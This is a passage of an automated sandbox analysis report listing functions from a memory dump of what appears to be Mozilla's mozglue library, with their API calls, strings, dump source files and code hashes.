_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

CoCreateInstance, xrefs: 6C961FF7
combase.dll, xrefs: 6C961FD9

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

combase.dll, xrefs: 6C960F18
CoInitializeEx, xrefs: 6C960F36

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[I %d/%d] profiler_resume, xrefs: 6C99F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

kernel32.dll, xrefs: 6C960E7D
GetProcessMitigationPolicy, xrefs: 6C960E9B

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
Opcode Fuzzy Hash: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction Fuzzy Hash: D9014B74708A828BEF018FE9CA96BC273B5E766B1DF205525D901A3F80DB74F484CA56

Function 6C9905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C98CFAE,?,?,?,6C9531A7), ref: 6C9905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C98CFAE,?,?,?,6C9531A7), ref: 6C990616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C9531A7), ref: 6C99061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C9531A7), ref: 6C990627

Strings

<jemalloc>, xrefs: 6C9905FA, 6C99060F
: (malloc) Error in VirtualFree(), xrefs: 6C99061B, 6C990625

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction ID: 4ab761612b90a7cc9a4172cf68e3dfbe69a8d3ff13eb501e7c7b282a36168844
Opcode Fuzzy Hash: 25db96d4eb97f6669a0a88a1216d998ba0ed13a1334b52ae264f65a75ea91de4
Instruction Fuzzy Hash: 1CE08CE2A0101037F614225ABC86DBB7A1CDBDA134F080039FE0D82741E94AFD1A51F7

Function 6C9605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000000.00000002.2820302579.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2820195895.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820374283.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820404996.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2820436499.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

